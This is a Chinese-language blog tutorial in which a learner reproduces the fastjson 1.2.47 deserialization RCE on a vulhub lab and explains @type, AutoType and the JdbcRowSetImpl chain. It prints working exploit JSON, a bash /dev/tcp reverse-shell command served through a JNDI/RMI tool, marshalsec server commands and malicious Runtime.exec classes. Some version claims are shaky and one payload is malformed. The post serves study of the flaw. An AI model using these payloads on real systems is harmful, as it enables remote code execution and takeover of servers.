写作背景
反序列化是java安全er避不开的技能点,也是非常难的一个点。我入行安全满打满算也就一年,之前一直也想弄明白,但是总是被各种问题卡住,这次我下决心势必要啃掉反序列化这块硬骨头。
这里我就先从我实战中遇到最多也是自己最熟悉的fastjson开始,这个漏洞老生长谈了,不过只要遇到就真是一个很好的点了。这里我先从效果开始再转战到原理,因为如果不懂代码,上来就分析代码就会让人望而却步。直接从漏洞利用开始,溯源到原理反倒是我这种非安全研究er的最好学习方式。
fastjson1.2.47实战效果
环境搭建(vulhub中的环境)
这个漏洞环境在vulhub的docker环境中,网上vulhub和docker的下载安装教程很多,就不过多赘述了。
这里我的机器只有一台kali:攻击机和漏洞环境均在kali上,起了不同的服务。
漏洞利用
poc
搭建完毕环境后,直接打poc:{"zeo":{"@type":"java.net.Inet4Address","val":"umzivu.dnslog.cn"}},成功回显


反弹shell
- 漏洞利用:利用jndi_tool.jar工具,攻击机上反弹
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/192.168.18.128/12345 0>&1"

输入要打的ip:192.168.18.128

- 攻击机监听12345
nc -lvvp 12345

- burp打exp
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.18.128:1099/Object",
"autoCommit": true
}
}

成功反弹shell

漏洞原理
从刚才我们的操作可以看到,我们在攻击机上监听了12345端口,随后利用jndi工具生成了一个payload,在burp上我们将exp发送至服务端,即可成功获取shell。攻击操作很简单,但内部其实是有一个调用的过程,具体攻击流程可以用下图分析:

①攻击者控制的RMI服务器(192.168.18.128)启动并监听在1099端口上。
②攻击者构造恶意序列化数据,其中包含了对目标服务器的RMI连接地址(例如,rmi://目标服务器IP地址:1099/Object),并将恶意序列化数据发送给目标服务器。
③目标服务器接收到恶意序列化数据,并尝试进行反序列化。在反序列化过程中,由于存在反序列化漏洞,恶意RMI连接将被建立,连接到攻击者控制的RMI服务器(192.168.18.128)
④攻击者控制的RMI服务器收到恶意连接后,执行恶意代码(例如,建立一个反向Shell连接)。攻击者可以通过反向Shell与目标服务器进行交互,执行任意命令或进行其他攻击活动。
fastjson序列化与反序列化
知道了这样做可以反弹shell,那么为什么可以进行漏洞利用呢。要深入剖析,从fastjson代码逐步分析,方而看清漏洞本质。
序列化
要反序列化,首先就得先序列化,这里我们用两种方式进行序列化,一种Java io原生序列化,一种fastjson序列化。
构造一个普通类Common
//构造一个普通类Common
public class Common {
//私有属性data
private String data;
//settet getter方法
public String getData() {
return data;
}
public void setData(String data) {
this.data = data;
}
}
Common类序列化法一:java原生序列化
- IO
文件IO流(FileInput/OutputStream) 对 文件 进行输入和输出
对象IO流(ObjectInput/OutputStream) 对 对象 进行输入和输出
首先用new FileOutputStream创建一个文件输出流,再用new ObjectOutputStream创建一个对象输出流(因为oos是对象输出流类型),这时我们就可以在java程序中向外(文件)输出流(内容)了,画成图:

- 要求Common类必须实现 Serializable接口
import java.io.Serializable;
//构造一个普通类Common
//Common类必须实现Serializable接口
public class Common implements Serializable {
//私有属性data
private String data;
//settet getter方法
public String getData() {
return data;
}
public void setData(String data) {
this.data = data;
}
}
- java原生序列化方式
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class JavaSerialization {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
System.out.println("对象已经成功序列化");
}
public static void main(String[] args) throws Exception{
//创建Common类实例
Common obj=new Common();
obj.setData("我是Common类");
serialize(obj);
}
}
- 序列化后的结果

- 运行后生成了ser.bin文件,文本打开后如下

Common类序列化法二:利用fastjson
- fastjson在序列化时会将对象的所有属性进行序列化,所以不需要显式地实现Serializable接口
- fastjson序列化主要用到的方法为JSON.toJSONString(),通过该方法将对象序列化为JSON字符串
import com.alibaba.fastjson.JSON;
public class FastjsonSerialization {
public static void main(String[] args) {
//创建Common类实例
Common obj=new Common();
obj.setData("我是Common类");
//将Common类序列化为JSON字符串
String Json= JSON.toJSONString(obj);
System.out.println("序列化后的JSON字符串为:"+Json);
}
}
- 序列化后的结果:

原生方式序列化 vs fastjson方式序列化
| 特性 | Java原生方式序列化 | FastJSON方式序列化 |
| 依赖性 | Java标准库,无需额外依赖 | FastJSON库,需要导入FastJSON的相关依赖 |
| 序列化效率 | 一般较慢 | 通常较快 |
| 序列化结果大小 | 较大 | 较小 |
| 自定义序列化支持 | 需要实现Serializable接口和自定义序列化方法 | 不需要实现接口,支持直接序列化普通Java对象 |
| 支持的数据类型 | 支持序列化Java内置类型和实现了Serializable接口的自定义类 | 支持序列化Java内置类型和大部分自定义类,无需实现接口 |
| 序列化控制 | 可以通过自定义序列化方法对序列化过程进行精细控制 | 提供注解和配置选项来控制序列化行为 |
| 扩展性 | 需要自行实现自定义序列化和反序列化逻辑 | 提供了灵活的扩展机制,可以注册自定义序列化器和反序列化器 |
反序列化
这里我们主要研究fastjson的反序列化,原生的反序列化就先不花篇幅陈述了。
反序列化代码
- fastjson反序列化主要用到的方法为JSON.parseObjec(),这个方法接受一个JSON字符串和目标类的类型作为参数,将JSON字符串转换为对应的Java对象。
import com.alibaba.fastjson.JSON;
public class FastjsonDeserialization {
public static void main(String[] args) {
//将刚刚的Common类序列化后的数据进行反序列化
String json = "{\"data\":\"我是Common类\"}";
//反序列化
Common obj=JSON.parseObject(json,Common.class);
//将反序列化后的数据打印出来
System.out.println("反序列化后的数据为:"+obj.getData());
}
}
- 执行结果

简单总结一下fastjson三种重点方法:JSON.toJSONString、 JSON.parse、JSON.parseObject
| 方法 | 功能 | 用途 | 返回值类型 | 示例 |
| JSON.toJSONString | 对象转为 JSON 字符串 | 将 Java 对象转换为 JSON 字符串表示形式 | String | String jsonString = JSON.toJSONString(obj); |
| JSON.parse | JSON 字符串解析 | 将 JSON 字符串解析为对应的 Java 对象 | Object | Object obj = JSON.parse(jsonString); |
| JSON.parseObject | JSON 字符串解析 | 将 JSON 字符串解析为指定类型的 Java 对象 | 指定类型 | Person person = JSON.parseObject(jsonString, Person.class); |
深入代码看rce根源
从我个人理解的角度看fastjson漏洞,感觉漏洞主要原因是这几个:@type、AutoTypeSupport以及利用链。
@type
@type 是一个特殊的字段,用于指定反序列化时应该实例化的具体类。攻击者可以在JSON字符串中使用 @type 字段,并指定一个恶意的类名,以触发不受信任的类的实例化和执行恶意操作。
AutoTypeSupport
AutoTypeSupport 特性默认是开启的。这个特性允许在反序列化过程中自动识别并实例化特定类型的对象。然而,这也为恶意用户提供了一个机会,可以利用 @type 字段和自动类型识别功能来执行恶意操作
利用链
恶意用户通过构造一系列嵌套的对象和方法调用,利用fastjson的自动类型识别和调用链,最终达到命令执行的目的
@type
- 有一个恶意类BadClassPerson
import java.io.IOException;
public class BadClassPerson {
private String name;
private int age;
private String sex;
public BadClassPerson() {
System.out.println("构造方法");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
//在setSex中有一段弹计算器的命令执行代码
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("calc");
}
}
- 反序列化这个恶意类即可调用其Setter方法,从而造成命令执行
import com.alibaba.fastjson.JSON;
public class Deserialization {
public static void main(String[] args) {
String jsonString ="{\"@type\":\"BadClassPerson\",\"age\":80,\"name\":\"lili\",\"sex\":\"man\"}";
System.out.println(JSON.parseObject(jsonString));
}
}
- 然而我在实际实验过程中发现弹不出来计算器,更换各种低版本的依赖包都不能执行命令。几经搜索得知现在Fastjson在默认情况下不会执行命令,而是将输入的JSON字符串解析为对应的Java对象。
- 在较早的版本中,默认情况下Fastjson允许执行特定的Java类的方法,这可能导致命令执行。现在的Fastjson已经进行了更新和改进,限制了对特定类型的自动执行。从Fastjson版本1.2.24开始,默认禁用了对 @type 字段的自动类型转换,以减少安全风险。这意味着不再支持通过 @type 字段来执行任意命令。
AutoTypeSupport
AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。
正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。
- 这里用一段利用 FastJSON 的 AutoTypeSupport 功能进行攻击的代码作为例子:攻击者可以构造恶意的 JSON 字符串,其中的 @type 字段指向任意可加载的类,并利用 AutoTypeSupport 功能绕过 FastJSON 的类型检查,从而实例化和执行恶意代码。
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String jsonStr = "{\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"nv03d9.dnslog.cn\"}}}";
Object json1 = JSONObject.parse(jsonStr);
System.out.println(json1);
}
}
执行结果

利用链
回到我们最初实战用到的exp,这段代码就涉及到了JdbcRowSetImpl利用链。下面我们分析下这段poc:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:port/Object",
"autoCommit": true
}
}
"a" 属性指定了一个java.lang.Class对象,其值为"com.sun.rowset.JdbcRowSetImpl"。这意味着在反序列化过程中,会尝试将值反序列化为JdbcRowSetImpl类。
"b" 属性指定了一个com.sun.rowset.JdbcRowSetImpl对象,"@type" 属性指定了要反序列化的对象类型JdbcRowSetImpl。"dataSourceName" 属性指定了一个RMI(远程方法调用)URL,指向rmi服务器上的Object类。"autoCommit" 属性设置为true,是为了在反序列化后执行某些操作。
1.2.24 vs 1.2.47 JdbcRowSetImpl
- payload对比
| 1.2.24 | 1.2.47 |
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } | { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Test", "autoCommit":true } } |
法一:利用marshalsec开启rmi服务
- 构造恶意类Exploit,并编译
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
//直接在构造方法中运行计算器
Runtime.getRuntime().exec("open -a calculator");
}
}
2. 将其放在一个能访问到的服务器上

- 在做JdbcRowSetImpl利用链代码分析的时候,需要用到JNDI+LDAP或者JNDI+RMI。这里可以用marshalsec来作rmi服务器,端口为8888。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1000/#Exploit" 8888
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:1000/#Exploit" 8888
- 客户端测试
public class ClientDemo {
public static void main(String[] args) {
String payload="{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://ip:8888/Exploit\",\n" +
" \"autoCommit\":true\n" +
"}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}
成功获取恶意类

ldap也建立连接

- 但是我这里始终没有弹出计算器

法二:利用RMI绑定RMI服务
这里借用其他师傅的代码 Java 的 RMI(远程方法调用)机制来创建和绑定 RMI 服务,最后命令执行复现也失败了
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://ip:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
结果显示

对代码分析的思考
这里用ClientDemo的方式进行测试实际和burp打exp效果是一样的,但是我在复现时就是弹不了计算器,找了很多教程都没能复现出来,猜测可能是fastjson做了什么限制。
@type、AutoTypeSupport、利用链小结
| @type | AutoTypeSupport | 利用链 | |
| 功能 | 通过指定@type字段指定目标类 | 自动检测和支持特定类的自动类型转换 | 利用链是一系列的类和方法调用,构建一个恶意操作序列 |
| 漏洞成因 | 默认情况下Fastjson启用自动类型转换 | Fastjson库通过AutoTypeSupport支持自动类型转换 | 利用链中的方法或类可能存在漏洞,导致安全问题 |
| 安全措施 | 默认情况下禁用@type字段自动转换 | 从Fastjson版本1.2.24开始,默认禁用AutoTypeSupport | 需要修复潜在漏洞的方法或类 |
| 安全影响 | 可能导致恶意类的实例化和方法调用 | 可能导致恶意类的实例化和方法调用 | 可能导致任意代码执行、命令执行或信息泄漏 |
| 修复措施 | 限制或禁用@type字段的自动转换 | 禁用AutoTypeSupport或限制自动类型转换的范围 | 修复利用链中的潜在漏洞 |
写作总结
本文从最开始的fastjson实战实验开始,随后深入了解fastjson反序列化过程以及导致漏洞产生的三个重要原因,均是服务器对传入的json代码过滤不严导致可以利用rmi或jndi方式进行获取恶意利用类进而造成远程命令执行。实际作者在复现过程中也出现弹不出计算器的情况,猜测可能是因为现有给出的代码已经对fastjson漏洞做了修复。也欢迎各位师傅帮忙解惑。

3361

被折叠的 条评论
为什么被折叠?



